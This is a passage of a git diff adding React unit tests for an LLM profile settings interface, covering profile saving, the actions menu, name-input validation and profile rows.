+      renderWithProviders(<LlmSettingsLocalView />);
+
+      await user.click(screen.getAllByTestId("profile-menu-trigger")[0]);
+      await user.click(screen.getByTestId("profile-edit"));
+      await waitFor(() => {
+        expect(screen.getByTestId("profile-name-input")).toHaveValue(
+          "gpt-4-profile",
+        );
+      });
+      await user.click(await screen.findByTestId("sdk-section-basic-toggle"));
+      const modelInput = await screen.findByTestId("mock-basic-model-input");
+      await user.clear(modelInput);
+      await user.type(modelInput, "openhands/claude-sonnet-4-20250514");
+      await waitFor(() => {
+        expect(screen.getByTestId("save-profile-btn")).not.toBeDisabled();
+      });
+      await user.click(screen.getByTestId("save-profile-btn"));
+
+      // Assert — changing the Basic model clears the old hidden base_url.
+      await waitFor(() => expect(mockSaveMutateAsync).toHaveBeenCalled());
+      const savedLlm = mockSaveMutateAsync.mock.calls[0][0].request.llm;
+      expect(savedLlm.model).toBe("openhands/claude-sonnet-4-20250514");
+      expect(savedLlm).not.toHaveProperty("base_url");
+    });
+  });
+
+  describe("All tab save", () => {
+    it("persists a changed minor field without wiping untouched fields", async () => {
+      // Arrange — a profile with a minor field (temperature) plus fields the
+      // user will not touch. Saving the All tab must persist the edited minor
+      // field (typed → coerced to a number) while preserving the rest, instead
+      // of resetting everything to LLM defaults via the full-replace save.
+      const user = userEvent.setup();
+      vi.mocked(ProfilesService.getProfile).mockResolvedValue({
+        name: "gpt-4-profile",
+        api_key_set: true,
+        config: {
+          model: "anthropic/claude-opus-4-5-20251101",
+          api_key: "gAAAA_encrypted_key",
+          base_url: null,
+          temperature: 0.2,
+        },
+      });
+      mockSaveMutateAsync.mockResolvedValueOnce({ success: true });
+
+      renderWithProviders(<LlmSettingsLocalView />);
+
+      // Act — open the profile, switch to the All tab, edit temperature, save.
+      await user.click(screen.getAllByTestId("profile-menu-trigger")[0]);
+      await user.click(screen.getByTestId("profile-edit"));
+      await waitFor(() => {
+        expect(screen.getByTestId("profile-name-input")).toHaveValue(
+          "gpt-4-profile",
+        );
+      });
+      await user.click(await screen.findByTestId("sdk-section-all-toggle"));
+      const temperatureInput = await screen.findByTestId(
+        "sdk-settings-llm.temperature",
+      );
+      await user.clear(temperatureInput);
+      await user.type(temperatureInput, "0.7");
+      await waitFor(() => {
+        expect(screen.getByTestId("save-profile-btn")).not.toBeDisabled();
+      });
+      await user.click(screen.getByTestId("save-profile-btn"));
+
+      // Assert — the edited minor field is persisted as a number, and the
+      // untouched model and API key survive.
+      await waitFor(() => expect(mockSaveMutateAsync).toHaveBeenCalled());
+      const savedLlm = mockSaveMutateAsync.mock.calls[0][0].request.llm;
+      expect(savedLlm.temperature).toBe(0.7);
+      expect(savedLlm.model).toBe("anthropic/claude-opus-4-5-20251101");
+      expect(savedLlm.api_key).toBe("gAAAA_encrypted_key");
+    });
+  });
+});
+
+describe("shouldReapplyProfileAfterSave", () => {
+  it("reapplies when saving the active profile without renaming", () => {
+    expect(
+      shouldReapplyProfileAfterSave({
+        activeProfileName: "gpt-4-profile",
+        originalName: "gpt-4-profile",
+        savedName: "gpt-4-profile",
+      }),
+    ).toBe(true);
+  });
+
+  it("reapplies when the active profile was renamed", () => {
+    expect(
+      shouldReapplyProfileAfterSave({
+        activeProfileName: "gpt-4-profile",
+        originalName: "gpt-4-profile",
+        savedName: "my-renamed-profile",
+      }),
+    ).toBe(true);
+  });
+
+  it("reapplies when creating a profile with the active profile name", () => {
+    expect(
+      shouldReapplyProfileAfterSave({
+        activeProfileName: "gpt-4-profile",
+        originalName: null,
+        savedName: "gpt-4-profile",
+      }),
+    ).toBe(true);
+  });
+
+  it("does not reapply inactive profiles", () => {
+    expect(
+      shouldReapplyProfileAfterSave({
+        activeProfileName: "claude-profile",
+        originalName: "gpt-4-profile",
+        savedName: "gpt-4-profile",
+      }),
+    ).toBe(false);
+  });
+});
+
+describe("LlmSettingsLocalView - OpenHands provider on cloud", () => {
+  const mockSaveMutateAsync = vi.fn();
+
+  beforeEach(() => {
+    vi.clearAllMocks();
+
+    // Mark the DB default query as settled so the create-mode form mounts
+    // (the gate renders a skeleton until `defaultModelReady` is true).
+    useFreeModelsStore.getState().setFlags({
+      freeModels: new Set(),
+      defaultModel: null,
+    });
+
+    vi.mocked(useLlmProfilesHook.useLlmProfiles).mockReturnValue(
+      createMockLlmProfilesReturn({
+        data: { profiles: [], active_profile: null },
+      }),
+    );
+    vi.mocked(useActivateLlmProfileHook.useActivateLlmProfile).mockReturnValue(
+      createMockMutationReturn<
+        ReturnType<typeof useActivateLlmProfileHook.useActivateLlmProfile>
+      >(vi.fn()),
+    );
+    vi.mocked(useSaveLlmProfileHook.useSaveLlmProfile).mockReturnValue(
+      createMockMutationReturn<
+        ReturnType<typeof useSaveLlmProfileHook.useSaveLlmProfile>
+      >(mockSaveMutateAsync),
+    );
+    // Cloud backend: the OpenHands provider is backed by a server-minted key.
+    vi.spyOn(activeBackendContext, "useActiveBackend").mockReturnValue({
+      backend: mockCloudBackend,
+    } as ReturnType<typeof activeBackendContext.useActiveBackend>);
+    // Pre-flight validation is a no-op on cloud (returns null), mirroring the
+    // real cloud path; the api_key stripping is what we assert here.
+    vi.mocked(ProfilesService.validateProfile).mockResolvedValue(null);
+    mockSaveMutateAsync.mockResolvedValue({ success: true });
+  });
+
+  it("strips api_key and base_url when saving an OpenHands provider profile", async () => {
+    const user = userEvent.setup();
+    renderWithProviders(<LlmSettingsLocalView />);
+
+    await user.click(screen.getByTestId("add-llm-profile"));
+
+    // The mocked LlmSettingsScreen seeds an openai model by default; switch to
+    // an OpenHands provider model and enter an api_key the save must drop.
+    const modelInput = screen.getByTestId("mock-basic-model-input");
+    await user.clear(modelInput);
+    await user.type(modelInput, "openhands/kimi-k3");
+
+    // Give the profile an explicit name so the save payload is deterministic.
+    const nameInput = screen.getByTestId("profile-name-input");
+    await user.clear(nameInput);
+    await user.type(nameInput, "openhands-profile");
+
+    await user.click(screen.getByTestId("save-profile-btn"));
+
+    await waitFor(() => expect(mockSaveMutateAsync).toHaveBeenCalled());
+    const request = mockSaveMutateAsync.mock.calls[0][0].request as {
+      llm: Record<string, unknown>;
+    };
+    expect(request.llm.model).toBe("openhands/kimi-k3");
+    expect(request.llm).not.toHaveProperty("api_key");
+    expect(request.llm).not.toHaveProperty("base_url");
+  });
+});
diff --git a/__tests__/components/settings/llm-profiles/profile-actions-menu.test.tsx b/__tests__/components/settings/llm-profiles/profile-actions-menu.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..0aa044ca6323c5b876d97cf4effa95e5b480b93e
--- /dev/null
+++ b/__tests__/components/settings/llm-profiles/profile-actions-menu.test.tsx
@@ -0,0 +1,327 @@
+import { render, screen, fireEvent } from "@testing-library/react";
+import { describe, expect, it, vi } from "vitest";
+import userEvent from "@testing-library/user-event";
+import { ProfileActionsMenu } from "#/components/features/settings/llm-profiles/profile-actions-menu";
+
+vi.mock("react-i18next", () => ({
+  useTranslation: () => ({
+    t: (key: string) => {
+      const translations: Record<string, string> = {
+        "SETTINGS$PROFILE_EDIT": "Edit",
+        "BUTTON$RENAME": "Rename",
+        "BUTTON$DUPLICATE": "Duplicate",
+        "SETTINGS$PROFILE_SET_ACTIVE": "Set as active",
+        "SETTINGS$PROFILE_SET_DEFAULT": "Set as default",
+        "BUTTON$DELETE": "Delete",
+      };
+      return translations[key] || key;
+    },
+  }),
+}));
+
+const defaultProps = {
+  onEdit: vi.fn(),
+  onRename: vi.fn(),
+  onDuplicate: vi.fn(),
+  onSetActive: vi.fn(),
+  onDelete: vi.fn(),
+  isActive: false,
+  isActivating: false,
+  onClose: vi.fn(),
+};
+
+describe("ProfileActionsMenu", () => {
+  it("renders Edit, Rename, Duplicate, Set Active, and Delete buttons", () => {
+    render(<ProfileActionsMenu {...defaultProps} />);
+
+    expect(screen.getByTestId("profile-edit")).toHaveTextContent("Edit");
+    expect(screen.getByTestId("profile-rename")).toHaveTextContent("Rename");
+    expect(screen.getByTestId("profile-duplicate")).toHaveTextContent(
+      "Duplicate",
+    );
+    expect(screen.getByTestId("profile-set-active")).toHaveTextContent("Set as default");
+    expect(screen.getByTestId("profile-delete")).toHaveTextContent("Delete");
+  });
+
+  it("renders Duplicate between Rename and Set as active", () => {
+    render(<ProfileActionsMenu {...defaultProps} />);
+
+    const items = screen.getAllByRole("menuitem");
+    const testIds = items.map((item) => item.getAttribute("data-testid"));
+
+    expect(testIds).toEqual([
+      "profile-edit",
+      "profile-rename",
+      "profile-duplicate",
+      "profile-set-active",
+      "profile-delete",
+    ]);
+  });
+
+  it("calls onDuplicate and onClose when Duplicate is clicked", async () => {
+    const user = userEvent.setup();
+    const handleDuplicate = vi.fn();
+    const handleClose = vi.fn();
+
+    render(
+      <ProfileActionsMenu
+        {...defaultProps}
+        onDuplicate={handleDuplicate}
+        onClose={handleClose}
+      />,
+    );
+
+    await user.click(screen.getByTestId("profile-duplicate"));
+
+    expect(handleDuplicate).toHaveBeenCalledTimes(1);
+    expect(handleClose).toHaveBeenCalledTimes(1);
+  });
+
+  it("calls onEdit and onClose when Edit is clicked", async () => {
+    const user = userEvent.setup();
+    const handleEdit = vi.fn();
+    const handleClose = vi.fn();
+
+    render(
+      <ProfileActionsMenu
+        {...defaultProps}
+        onEdit={handleEdit}
+        onClose={handleClose}
+      />,
+    );
+
+    await user.click(screen.getByTestId("profile-edit"));
+
+    expect(handleEdit).toHaveBeenCalledTimes(1);
+    expect(handleClose).toHaveBeenCalledTimes(1);
+  });
+
+  it("calls onRename and onClose when Rename is clicked", async () => {
+    const user = userEvent.setup();
+    const handleRename = vi.fn();
+    const handleClose = vi.fn();
+
+    render(
+      <ProfileActionsMenu
+        {...defaultProps}
+        onRename={handleRename}
+        onClose={handleClose}
+      />,
+    );
+
+    await user.click(screen.getByTestId("profile-rename"));
+
+    expect(handleRename).toHaveBeenCalledTimes(1);
+    expect(handleClose).toHaveBeenCalledTimes(1);
+  });
+
+  it("calls onSetActive and onClose when Set Active is clicked", async () => {
+    const user = userEvent.setup();
+    const handleSetActive = vi.fn();
+    const handleClose = vi.fn();
+
+    render(
+      <ProfileActionsMenu
+        {...defaultProps}
+        onSetActive={handleSetActive}
+        onClose={handleClose}
+      />,
+    );
+
+    await user.click(screen.getByTestId("profile-set-active"));
+
+    expect(handleSetActive).toHaveBeenCalledTimes(1);
+    expect(handleClose).toHaveBeenCalledTimes(1);
+  });
+
+  it("disables Set Active when already active", () => {
+    render(<ProfileActionsMenu {...defaultProps} isActive />);
+
+    const setActiveButton = screen.getByTestId("profile-set-active");
+    expect(setActiveButton).toBeDisabled();
+  });
+
+  it("disables Set Active when activating", () => {
+    render(<ProfileActionsMenu {...defaultProps} isActivating />);
+
+    const setActiveButton = screen.getByTestId("profile-set-active");
+    expect(setActiveButton).toBeDisabled();
+  });
+
+  it("keeps Delete enabled even when isActive is true", () => {
+    // The active profile is deletable; useEnsureActiveProfile promotes another
+    // profile to active afterwards so one is always active in local mode.
+    render(<ProfileActionsMenu {...defaultProps} isActive />);
+
+    expect(screen.getByTestId("profile-delete")).not.toBeDisabled();
+  });
+
+  it("enables Delete button when isActive is false", () => {
+    render(<ProfileActionsMenu {...defaultProps} isActive={false} />);
+
+    expect(screen.getByTestId("profile-delete")).not.toBeDisabled();
+  });
+
+  it("calls onDelete and onClose when Delete is clicked", async () => {
+    const user = userEvent.setup();
+    const handleDelete = vi.fn();
+    const handleClose = vi.fn();
+
+    render(
+      <ProfileActionsMenu
+        {...defaultProps}
+        onDelete={handleDelete}
+        onClose={handleClose}
+      />,
+    );
+
+    await user.click(screen.getByTestId("profile-delete"));
+
+    expect(handleDelete).toHaveBeenCalledTimes(1);
+    expect(handleClose).toHaveBeenCalledTimes(1);
+  });
+
+  it("calls onClose when clicking outside the menu", () => {
+    const handleClose = vi.fn();
+
+    render(
+      <div>
+        <div data-testid="outside">Outside</div>
+        <ProfileActionsMenu {...defaultProps} onClose={handleClose} />
+      </div>,
+    );
+
+    fireEvent.mouseDown(screen.getByTestId("outside"));
+
+    expect(handleClose).toHaveBeenCalledTimes(1);
+  });
+
+  it("does not call onClose when mousedown lands on the anchor trigger", () => {
+    const handleClose = vi.fn();
+    const anchorRef = { current: document.createElement("button") };
+    anchorRef.current.setAttribute("data-testid", "profile-menu-trigger");
+    document.body.appendChild(anchorRef.current);
+
+    render(
+      <ProfileActionsMenu
+        {...defaultProps}
+        onClose={handleClose}
+        anchorRef={anchorRef}
+      />,
+    );
+
+    fireEvent.mouseDown(anchorRef.current);
+
+    expect(handleClose).not.toHaveBeenCalled();
+    anchorRef.current.remove();
+  });
+
+  it("calls onClose when Escape key is pressed", () => {
+    const handleClose = vi.fn();
+
+    render(<ProfileActionsMenu {...defaultProps} onClose={handleClose} />);
+
+    fireEvent.keyDown(document, { key: "Escape" });
+
+    expect(handleClose).toHaveBeenCalledTimes(1);
+  });
+
+  it("does not call onClose for other keys", () => {
+    const handleClose = vi.fn();
+
+    render(<ProfileActionsMenu {...defaultProps} onClose={handleClose} />);
+
+    fireEvent.keyDown(document, { key: "Enter" });
+    fireEvent.keyDown(document, { key: "ArrowDown" });
+
+    expect(handleClose).not.toHaveBeenCalled();
+  });
+
+  it("has correct accessibility attributes", () => {
+    render(<ProfileActionsMenu {...defaultProps} />);
+
+    const menu = screen.getByRole("menu");
+    expect(menu).toHaveAttribute("aria-orientation", "vertical");
+
+    const menuItems = screen.getAllByRole("menuitem");
+    expect(menuItems).toHaveLength(5);
+  });
+
+  it("styles Delete like other menu items", () => {
+    render(<ProfileActionsMenu {...defaultProps} />);
+
+    const deleteButton = screen.getByTestId("profile-delete");
+    expect(deleteButton).not.toHaveAttribute("data-destructive");
+    expect(deleteButton.className).not.toMatch(/text-red/);
+  });
+
+  it("does not call onClose when clicking inside the menu container", () => {
+    const handleClose = vi.fn();
+
+    render(<ProfileActionsMenu {...defaultProps} onClose={handleClose} />);
+
+    const menu = screen.getByRole("menu");
+    fireEvent.mouseDown(menu);
+
+    expect(handleClose).not.toHaveBeenCalled();
+  });
+
+  describe("keyboard navigation", () => {
+    it("focuses first item on mount", () => {
+      render(<ProfileActionsMenu {...defaultProps} />);
+      expect(screen.getByTestId("profile-edit")).toHaveFocus();
+    });
+
+    it("navigates down with ArrowDown key", async () => {
+      const user = userEvent.setup();
+      render(<ProfileActionsMenu {...defaultProps} />);
+
+      await user.keyboard("{ArrowDown}");
+      expect(screen.getByTestId("profile-rename")).toHaveFocus();
+    });
+
+    it("navigates up with ArrowUp key", async () => {
+      const user = userEvent.setup();
+      render(<ProfileActionsMenu {...defaultProps} />);
+
+      // Start at first item (Edit), go down to Rename, then back up
+      await user.keyboard("{ArrowDown}");
+      await user.keyboard("{ArrowUp}");
+      expect(screen.getByTestId("profile-edit")).toHaveFocus();
+    });
+
+    it("wraps focus from last to first item with ArrowDown", async () => {
+      const user = userEvent.setup();
+      render(<ProfileActionsMenu {...defaultProps} />);
+
+      // Navigate to the last item (Delete)
+      await user.keyboard("{ArrowDown}"); // Rename
+      await user.keyboard("{ArrowDown}"); // Duplicate
+      await user.keyboard("{ArrowDown}"); // Set Active
+      await user.keyboard("{ArrowDown}"); // Delete
+      expect(screen.getByTestId("profile-delete")).toHaveFocus();
+
+      // Press down again to wrap to first
+      await user.keyboard("{ArrowDown}");
+      expect(screen.getByTestId("profile-edit")).toHaveFocus();
+    });
+
+    it("wraps focus from first to last item with ArrowUp", async () => {
+      const user = userEvent.setup();
+      render(<ProfileActionsMenu {...defaultProps} />);
+
+      // First item is focused (Edit), press up to wrap to last
+      await user.keyboard("{ArrowUp}");
+      expect(screen.getByTestId("profile-delete")).toHaveFocus();
+    });
+
+    it("closes menu when Tab is pressed", async () => {
+      const handleClose = vi.fn();
+      const user = userEvent.setup();
+      render(<ProfileActionsMenu {...defaultProps} onClose={handleClose} />);
+
+      await user.keyboard("{Tab}");
+      expect(handleClose).toHaveBeenCalled();
+    });
+  });
+});
diff --git a/__tests__/components/settings/llm-profiles/profile-name-input.test.tsx b/__tests__/components/settings/llm-profiles/profile-name-input.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..b26332fcbc3338ded849d618a7259621a3abad65
--- /dev/null
+++ b/__tests__/components/settings/llm-profiles/profile-name-input.test.tsx
@@ -0,0 +1,315 @@
+import { render, screen } from "@testing-library/react";
+import { describe, expect, it, vi } from "vitest";
+import userEvent from "@testing-library/user-event";
+import { ProfileNameInput } from "#/components/features/settings/llm-profiles/profile-name-input";
+
+vi.mock("react-i18next", () => ({
+  useTranslation: () => ({
+    t: (key: string) => {
+      const translations: Record<string, string> = {
+        "SETTINGS$PROFILE_NAME_LABEL": "Profile Name",
+        "SETTINGS$PROFILE_NAME_PLACEHOLDER": "Enter profile name",
+        "SETTINGS$PROFILE_NAME_RULE":
+          "1-64 chars, start with alphanumeric, then alphanumerics or . _ -",
+        "COMMON$OPTIONAL": "Optional",
+      };
+      return translations[key] || key;
+    },
+  }),
+}));
+
+describe("ProfileNameInput", () => {
+  it("renders with label and input", () => {
+    render(<ProfileNameInput value="" onChange={() => {}} />);
+
+    expect(screen.getByText("Profile Name")).toBeInTheDocument();
+    expect(screen.getByRole("textbox")).toBeInTheDocument();
+  });
+
+  it("shows the rule text below the input", () => {
+    render(
+      <ProfileNameInput value="" onChange={() => {}} ruleTestId="rule-text" />,
+    );
+
+    const rule = screen.getByTestId("rule-text");
+    expect(rule).toHaveTextContent(
+      "1-64 chars, start with alphanumeric, then alphanumerics or . _ -",
+    );
+  });
+
+  it("calls onChange when typing", async () => {
+    const handleChange = vi.fn();
+    const user = userEvent.setup();
+
+    render(
+      <ProfileNameInput
+        testId="profile-name"
+        value=""
+        onChange={handleChange}
+      />,
+    );
+
+    const input = screen.getByTestId("profile-name");
+    await user.type(input, "gpt-4");
+
+    // Each character triggers onChange
+    expect(handleChange).toHaveBeenCalledTimes(5);
+    // Each call receives just that character since the component is controlled
+    // and the test doesn't update the value prop
+    expect(handleChange).toHaveBeenNthCalledWith(1, "g");
+    expect(handleChange).toHaveBeenNthCalledWith(2, "p");
+    expect(handleChange).toHaveBeenNthCalledWith(3, "t");
+    expect(handleChange).toHaveBeenNthCalledWith(4, "-");
+    expect(handleChange).toHaveBeenNthCalledWith(5, "4");
+  });
+
+  it("displays the current value", () => {
+    render(
+      <ProfileNameInput
+        testId="profile-name"
+        value="my-profile"
+        onChange={() => {}}
+      />,
+    );
+
+    expect(screen.getByTestId("profile-name")).toHaveValue("my-profile");
+  });
+
+  it("marks the input as valid for valid names", () => {
+    render(
+      <ProfileNameInput
+        testId="profile-name"
+        value="valid-name"
+        onChange={() => {}}
+      />,
+    );
+
+    expect(screen.getByTestId("profile-name")).toHaveAttribute(
+      "aria-invalid",
+      "false",
+    );
+  });
+
+  it("marks the input as invalid for names starting with a special character", () => {
+    render(
+      <ProfileNameInput
+        testId="profile-name"
+        value=".invalid-start"
+        onChange={() => {}}
+      />,
+    );
+
+    expect(screen.getByTestId("profile-name")).toHaveAttribute(
+      "aria-invalid",
+      "true",
+    );
+  });
+
+  it("treats an empty optional value as valid", () => {
+    render(
+      <ProfileNameInput
+        testId="profile-name"
+        value=""
+        onChange={() => {}}
+      />,
+    );
+
+    expect(screen.getByTestId("profile-name")).toHaveAttribute(
+      "aria-invalid",
+      "false",
+    );
+  });
+
+  it("marks whitespace-only values as invalid", () => {
+    render(
+      <ProfileNameInput
+        testId="profile-name"
+        value="   "
+        onChange={() => {}}
+      />,
+    );
+
+    expect(screen.getByTestId("profile-name")).toHaveAttribute(
+      "aria-invalid",
+      "true",
+    );
+  });
+
+  it("marks names containing disallowed characters as invalid", () => {
+    render(
+      <ProfileNameInput
+        testId="profile-name"
+        value="name with spaces"
+        onChange={() => {}}
+      />,
+    );
+
+    expect(screen.getByTestId("profile-name")).toHaveAttribute(
+      "aria-invalid",
+      "true",
+    );
+  });
+
+  it("can be disabled", () => {
+    render(
+      <ProfileNameInput
+        testId="profile-name"
+        value=""
+        onChange={() => {}}
+        isDisabled
+      />,
+    );
+
+    expect(screen.getByTestId("profile-name")).toBeDisabled();
+  });
+
+  it("shows custom placeholder", () => {
+    render(
+      <ProfileNameInput
+        testId="profile-name"
+        value=""
+        onChange={() => {}}
+        placeholder="Custom placeholder"
+      />,
+    );
+
+    expect(screen.getByTestId("profile-name")).toHaveAttribute(
+      "placeholder",
+      "Custom placeholder",
+    );
+  });
+
+  it("shows default placeholder when not provided", () => {
+    render(
+      <ProfileNameInput
+        testId="profile-name"
+        value=""
+        onChange={() => {}}
+      />,
+    );
+
+    expect(screen.getByTestId("profile-name")).toHaveAttribute(
+      "placeholder",
+      "Enter profile name",
+    );
+  });
+
+  it("shows optional label when isOptional is true", () => {
+    render(
+      <ProfileNameInput value="" onChange={() => {}} isOptional />,
+    );
+
+    expect(screen.getByText("Profile Name (Optional)")).toBeInTheDocument();
+  });
+
+  it("shows regular label when isOptional is false", () => {
+    render(
+      <ProfileNameInput value="" onChange={() => {}} isOptional={false} />,
+    );
+
+    expect(screen.getByText("Profile Name")).toBeInTheDocument();
+    expect(screen.queryByText(/optional/i)).not.toBeInTheDocument();
+  });
+
+  describe("boundary conditions", () => {
+    it("accepts exactly 64 character names", () => {
+      const name64 = "a".repeat(64);
+      render(
+        <ProfileNameInput
+          testId="profile-name"
+          value={name64}
+          onChange={() => {}}
+        />,
+      );
+      expect(screen.getByTestId("profile-name")).toHaveAttribute(
+        "aria-invalid",
+        "false",
+      );
+    });
+
+    it("rejects 65 character names", () => {
+      const name65 = "a".repeat(65);
+      render(
+        <ProfileNameInput
+          testId="profile-name"
+          value={name65}
+          onChange={() => {}}
+        />,
+      );
+      expect(screen.getByTestId("profile-name")).toHaveAttribute(
+        "aria-invalid",
+        "true",
+      );
+    });
+
+    it("accepts names starting with numbers", () => {
+      render(
+        <ProfileNameInput
+          testId="profile-name"
+          value="1profile"
+          onChange={() => {}}
+        />,
+      );
+      expect(screen.getByTestId("profile-name")).toHaveAttribute(
+        "aria-invalid",
+        "false",
+      );
+    });
+
+    it("accepts names with all allowed special characters", () => {
+      render(
+        <ProfileNameInput
+          testId="profile-name"
+          value="valid.name_with-chars"
+          onChange={() => {}}
+        />,
+      );
+      expect(screen.getByTestId("profile-name")).toHaveAttribute(
+        "aria-invalid",
+        "false",
+      );
+    });
+
+    it("rejects names starting with special characters", () => {
+      render(
+        <ProfileNameInput
+          testId="profile-name"
+          value=".invalid"
+          onChange={() => {}}
+        />,
+      );
+      expect(screen.getByTestId("profile-name")).toHaveAttribute(
+        "aria-invalid",
+        "true",
+      );
+    });
+
+    it("rejects names starting with hyphen", () => {
+      render(
+        <ProfileNameInput
+          testId="profile-name"
+          value="-invalid"
+          onChange={() => {}}
+        />,
+      );
+      expect(screen.getByTestId("profile-name")).toHaveAttribute(
+        "aria-invalid",
+        "true",
+      );
+    });
+
+    it("rejects names starting with underscore", () => {
+      render(
+        <ProfileNameInput
+          testId="profile-name"
+          value="_invalid"
+          onChange={() => {}}
+        />,
+      );
+      expect(screen.getByTestId("profile-name")).toHaveAttribute(
+        "aria-invalid",
+        "true",
+      );
+    });
+  });
+});
diff --git a/__tests__/components/settings/llm-profiles/profile-row.test.tsx b/__tests__/components/settings/llm-profiles/profile-row.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..cf43cdab275727a15ecee3c6d6f1a8c863d6eb35
--- /dev/null
+++ b/__tests__/components/settings/llm-profiles/profile-row.test.tsx
@@ -0,0 +1,211 @@
+import { render, screen } from "@testing-library/react";
+import { afterEach, describe, expect, it, vi } from "vitest";
+import userEvent from "@testing-library/user-event";
+import { ProfileRow } from "#/components/features/settings/llm-profiles/profile-row";
+import { ProfileInfo } from "#/api/profiles-service/profiles-service.api";
+import { useFreeModelsStore } from "#/stores/free-models-store";
+
+vi.mock("react-i18next", () => ({
+  useTranslation: () => ({
+    t: (key: string) => {
+      const translations: Record<string, string> = {
+        SETTINGS$PROFILE_DEFAULT: "Default",
+        SETTINGS$PROFILE_MENU: "Profile menu",
+        SETTINGS$PROFILE_EDIT: "Edit",
+        BUTTON$RENAME: "Rename",
+        SETTINGS$PROFILE_SET_DEFAULT: "Set as default",
+        BUTTON$DELETE: "Delete",
+      };
+      return translations[key] || key;
+    },
+  }),
+}));
+
+const mockProfile: ProfileInfo = {
+  name: "gpt-4-profile",
+  model: "openai/gpt-4",
+  base_url: null,
+  api_key_set: true,
+};
+
+const defaultProps = {
+  profile: mockProfile,
+  isActive: false,
+  canManage: true,
+  onActivate: vi.fn(),
+  onEdit: vi.fn(),
+  onRename: vi.fn(),
+  onDuplicate: vi.fn(),
+  onDelete: vi.fn(),
+  isActivating: false,
+};
+
+describe("ProfileRow", () => {
+  afterEach(() => {
+    useFreeModelsStore.getState().setFlags({
+      freeModels: new Set(),
+      defaultModel: null,
+    });
+  });
+
+  it("displays the profile name", () => {
+    render(<ProfileRow {...defaultProps} />);
+
+    expect(screen.getByText("gpt-4-profile")).toBeInTheDocument();
+  });
+
+  it("displays the model name when present", () => {
+    render(<ProfileRow {...defaultProps} />);
+
+    expect(screen.getByText("openai/gpt-4")).toBeInTheDocument();
+  });
+
+  it("labels a DB-flagged free OpenHands route without changing the raw title", () => {
+    useFreeModelsStore.getState().setFlags({
+      freeModels: new Set(["openhands/glm-5.2"]),
+      defaultModel: "openhands/glm-5.2",
+    });
+    render(
+      <ProfileRow
+        {...defaultProps}
+        profile={{ ...mockProfile, model: "openhands/glm-5.2" }}
+      />,
+    );
+
+    expect(screen.getByText("openhands/glm-5.2 (free)")).toHaveAttribute(
+      "title",
+      "openhands/glm-5.2",
+    );
+  });
+
+  it("does not display model when null", () => {
+    const profileWithoutModel: ProfileInfo = {
+      ...mockProfile,
+      model: null,
+    };
+
+    render(<ProfileRow {...defaultProps} profile={profileWithoutModel} />);
+
+    expect(screen.queryByText("openai/gpt-4")).not.toBeInTheDocument();
+  });
+
+  it("shows Active badge when isActive is true", () => {
+    render(<ProfileRow {...defaultProps} isActive />);
+
+    expect(screen.getByTestId("profile-active-badge")).toBeInTheDocument();
+    expect(screen.getByText("Default")).toBeInTheDocument();
+  });
+
+  it("does not show Active badge when isActive is false", () => {
+    render(<ProfileRow {...defaultProps} isActive={false} />);
+
+    expect(
+      screen.queryByTestId("profile-active-badge"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("hides the actions menu when canManage is false (view-only members)", () => {
+    render(<ProfileRow {...defaultProps} canManage={false} />);
+
+    // The row still shows the profile, but offers no mutate actions.
+    expect(screen.getByText("gpt-4-profile")).toBeInTheDocument();
+    expect(
+      screen.queryByTestId("profile-menu-trigger"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("opens menu when trigger button is clicked", async () => {
+    const user = userEvent.setup();
+
+    render(<ProfileRow {...defaultProps} />);
+
+    const menuTrigger = screen.getByTestId("profile-menu-trigger");
+    await user.click(menuTrigger);
+
+    expect(screen.getByText("Edit")).toBeInTheDocument();
+    expect(screen.getByText("Rename")).toBeInTheDocument();
+    expect(screen.getByText("Set as default")).toBeInTheDocument();
+    expect(screen.getByText("Delete")).toBeInTheDocument();
+  });
+
+  it("toggles menu visibility on multiple clicks", async () => {
+    const user = userEvent.setup();
+
+    render(<ProfileRow {...defaultProps} />);
+
+    const menuTrigger = screen.getByTestId("profile-menu-trigger");
+
+    // Menu should be closed initially
+    expect(screen.queryByText("Edit")).not.toBeInTheDocument();
+
+    // First click opens the menu
+    await user.click(menuTrigger);
+    expect(screen.getByText("Edit")).toBeInTheDocument();
+  });
+
+  it("calls onEdit when Edit is clicked", async () => {
+    const user = userEvent.setup();
+    const handleEdit = vi.fn();
+
+    render(<ProfileRow {...defaultProps} onEdit={handleEdit} />);
+
+    await user.click(screen.getByTestId("profile-menu-trigger"));
+    await user.click(screen.getByText("Edit"));
+
+    expect(handleEdit).toHaveBeenCalledWith(mockProfile);
+  });
+
+  it("calls onRename when Rename is clicked", async () => {
+    const user = userEvent.setup();
+    const handleRename = vi.fn();
+
+    render(<ProfileRow {...defaultProps} onRename={handleRename} />);
+
+    await user.click(screen.getByTestId("profile-menu-trigger"));
+    await user.click(screen.getByText("Rename"));
+
+    expect(handleRename).toHaveBeenCalledWith(mockProfile);
+  });
+
+  it("calls onActivate when Set Active is clicked", async () => {
+    const user = userEvent.setup();
+    const handleActivate = vi.fn();
+
+    render(<ProfileRow {...defaultProps} onActivate={handleActivate} />);
+
+    await user.click(screen.getByTestId("profile-menu-trigger"));
+    await user.click(screen.getByText("Set as default"));
+
+    expect(handleActivate).toHaveBeenCalledWith(mockProfile.name);
+  });
+
+  it("calls onDelete when Delete is clicked", async () => {
+    const user = userEvent.setup();
+    const handleDelete = vi.fn();
+
+    render(<ProfileRow {...defaultProps} onDelete={handleDelete} />);
+
+    await user.click(screen.getByTestId("profile-menu-trigger"));
+    await user.click(screen.getByText("Delete"));
+
+    expect(handleDelete).toHaveBeenCalledWith(mockProfile);
+  });
+
+  it("has accessible menu trigger button", () => {
+    render(<ProfileRow {...defaultProps} />);
+
+    const menuTrigger = screen.getByTestId("profile-menu-trigger");
+    expect(menuTrigger).toHaveAttribute("aria-label", "Profile menu");
+  });
+
+  it("renders the opened menu outside the row container so ancestor overflow cannot clip it", async () => {
+    const user = userEvent.setup();
+
+    const { container } = render(<ProfileRow {...defaultProps} />);
+
+    await user.click(screen.getByTestId("profile-menu-trigger"));
+
+    const menu = screen.getByTestId("profile-actions-menu");
+    expect(container.contains(menu)).toBe(false);
+  });
+});
diff --git a/__tests__/components/settings/llm-profiles/profiles-body.test.tsx b/__tests__/components/settings/llm-profiles/profiles-body.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..04d2f2a5c718885b3af3d57e46d1fb0aef6dc523
--- /dev/null
